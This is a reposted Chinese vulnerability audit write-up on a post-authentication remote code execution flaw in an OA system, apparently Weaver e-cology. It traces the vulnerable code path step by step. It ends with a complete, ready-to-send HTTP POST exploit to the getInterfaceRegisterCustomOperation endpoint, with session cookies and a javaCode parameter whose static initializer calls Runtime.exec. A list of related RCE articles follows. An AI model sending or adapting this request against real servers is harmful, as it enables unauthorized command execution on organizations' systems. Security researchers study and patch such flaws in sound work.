某微1day后台RCE审计漏洞

清疚 2024-03-30 13:27 34阅读 0赞

某应用存在后台RCE，根据相关信息，我们在对后台审计过程，这里发现一处调用newInstance实例化

![c7f289c6e5521ea4f3c11806f0138985.jpeg][]

溯源找到InterfaceRegisterCustomOperationCmd \#excute

![baa47a3a716e6fbd08c5d702ad3f505e.jpeg][]

![b4c042efad1a0d8ac413a9feb13027de.jpeg][]

![d6cb3cbfd8c3c5e58ffe7360d57e03b7.jpeg][]

![9d33d83e839fd1eeca1221244bcb284e.jpeg][]

访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute，首先判断了用户，所以这里是后台漏洞

![0f650ba3309351feee0cf51bea472a3b.jpeg][]

因为我们需要这个污点函数JavaCodeToObject，所以要满足if的条件并且控制var18和var20

![14d8f2d46cb0d5ccc3784d1329009bd9.jpeg][]

这里var14要为add

![4fda554ad24b788282b5a3441d0c3d42.jpeg][]

var14的值是从请求参数method取得，因为前面是指定POST方法所以这里`method=add`

![9330bfd4751ab3598fd7162fcda02e80.jpeg][]

进入if判断后var15的值如果为空就会return掉，所以这里`actionid`的值不为空就好，结合上面的条件就是`method=add&actionid=1`

![75344c0a51f273f1d4f4cda6f3c0c462.jpeg][]

这里var18的开头如果不是`weaver.interfaces.workflow.action.javacode.Action`将会进入下面的判断导致抛出异常，达不到我们想要的结果，所以这里`classname=weaver.interfaces.workflow.action.javacode.Action`，结合上面的参数`method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action`

![808ce9a05242504d23d812a08f89fa9b.jpeg][]

下面var20值取自javacode参数，结合上面payload为`method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=`

![41169d3e57d1feac2377ad56cccc7bfb.jpeg][]

if如果var18包含`weaver.interfaces.workflow.action.javacode`进入我们想要的javacodetoobject调用，所以`classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action`两个条件用.连接否则会报加载异常

![9e2506cd69c6fa9ef488e2be3f8f2ffb.jpeg][]

根据上面的条件都已满足var18和var20条件，构造var20的参数为 `javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }`这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码，达到命令执行

![16cb884c68161547a631d48bada07c05.jpeg][]

实际发包好像没有利用成功，回头看一下代码 发现丢了个参数 dtinfo\_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
    Host: 
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 548
    
    method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
    import java.io.IOException;
    public class Test {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

![855c246048ebe2ba7c3b85dcc732705f.png][]

转载来自： [https://xz.aliyun.com/t/11947][https_xz.aliyun.com_t_11947]

[c7f289c6e5521ea4f3c11806f0138985.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/64f7b61303cc44b595bf54e722e0629e.jpeg
[baa47a3a716e6fbd08c5d702ad3f505e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/caf339af0b944bf384fb9ab820543c3f.jpeg
[b4c042efad1a0d8ac413a9feb13027de.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/2f449a30bb7a41a49384cb1664544d26.jpeg
[d6cb3cbfd8c3c5e58ffe7360d57e03b7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/71e95652e67f4251943651cdec533041.jpeg
[9d33d83e839fd1eeca1221244bcb284e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/b5a1936070114c819a9534a17d9010d4.jpeg
[0f650ba3309351feee0cf51bea472a3b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/e482f6dc8ab4456dbd750e20d4709c0d.jpeg
[14d8f2d46cb0d5ccc3784d1329009bd9.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/40bf8d5321b54868af849ccd3fd32986.jpeg
[4fda554ad24b788282b5a3441d0c3d42.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/b48ff88e783f440f9c6311798df90e2e.jpeg
[9330bfd4751ab3598fd7162fcda02e80.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/dc9460b08dd84798b0fcb1abef0d44b8.jpeg
[75344c0a51f273f1d4f4cda6f3c0c462.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/3bb60dd2472a4d63a5835e70af116873.jpeg
[808ce9a05242504d23d812a08f89fa9b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/0fdfb1de8dff470496e800a4b1c9c671.jpeg
[41169d3e57d1feac2377ad56cccc7bfb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/ecfe19d6a61142c7b4231e3c6eb64991.jpeg
[9e2506cd69c6fa9ef488e2be3f8f2ffb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/13dbe99c16e449e2a0d4a749adf948ea.jpeg
[16cb884c68161547a631d48bada07c05.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/163525c50b414c86add0af9b777d046c.jpeg
[855c246048ebe2ba7c3b85dcc732705f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/30/65c23c101e184ecfacf2890417ab3894.png
[https_xz.aliyun.com_t_11947]: https://xz.aliyun.com/t/11947

发表评论取消回复

表情：

评论列表（有 0 条评论，34人围观）

还没有评论，来说两句吧...

相关阅读

相关【漏洞复现】Yapi接口管理平台RCE漏洞汇总

文章目录前言 YApi接口管理平台远程代码执行漏洞一、漏洞描述二、影响版本三、FOFA语句四、

本是古典何须时尚/ 2024年03月30日 16:58/ 0 赞/ 44 阅读

相关某微1day后台RCE审计漏洞

某应用存在后台RCE，根据相关信息，我们在对后台审计过程，这里发现一处调用newInstance实例化 ![c7f289c6e5521ea4f3c11806f0138985.

清疚/ 2024年03月30日 13:27/ 0 赞/ 35 阅读

相关 SpringBoot Actuator RCE 漏洞总结

一、SpringBoot env 获取\ 敏感信息当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了\ 1. 通过$\{na

柔情只为你懂/ 2024年03月26日 16:19/ 0 赞/ 44 阅读

相关【漏洞复现】联软科技安全准入门户平台RCE(命令执行)漏洞

文章目录前言声明一、漏洞描述二、影响平台三、漏洞复现四、修复方案 -------------------- 前言

骑猪看日落/ 2024年03月16日 13:55/ 0 赞/ 16 阅读

相关某ERP系统存在RCE漏洞

文章目录前言声明一、产品简介二、影响资产三、资产发现四、漏洞测试五、修复方案 -----------------

阳光穿透心脏的1/2处/ 2024年03月03日 05:30/ 0 赞/ 10 阅读

相关锐捷rce复现漏洞

锐捷 rce复现，请求路径 /guest_auth/guestIsUp.php //锐捷rce复现漏洞锐捷rce漏洞文件 <?php

小鱼儿/ 2023年09月23日 15:19/ 0 赞/ 92 阅读

相关审计某开源商城中的漏洞大礼包

首先这个CMS并不怎么出名，拿来当审计样板却很合适。给我的感觉是适合初级水平升中级之间的过程，有算是对上一篇审计文章的后续文了。审计的版本为: 20180206 发布的免费

怼烎@/ 2022年12月31日 15:20/ 0 赞/ 68 阅读

相关代码审计之某cms（1）

今天学了一堆php语法。这个语言真讨厌。然后发现大家写代码真懒直接抄。。。我目前看的cms是基于那个程序员2年前写过一个cms，大致应该变不了很多，然后很多其他名字的cms是抄

浅浅的花香味﹌/ 2022年12月20日 02:18/ 0 赞/ 164 阅读

相关 vBulletin 5.x 前台RCE漏洞复现

vBulletin 5.x 前台RCE漏洞复现 vBulletin 5.x 前台RCE漏洞复现漏洞原理

迈不过友情╰/ 2022年12月19日 11:54/ 0 赞/ 194 阅读

相关聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

作者：LoRexxar'@知道创宇404实验室时间：2019年3月14日 2019年3月13日， RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详

我不是女神ヾ/ 2022年01月17日 17:35/ 0 赞/ 193 阅读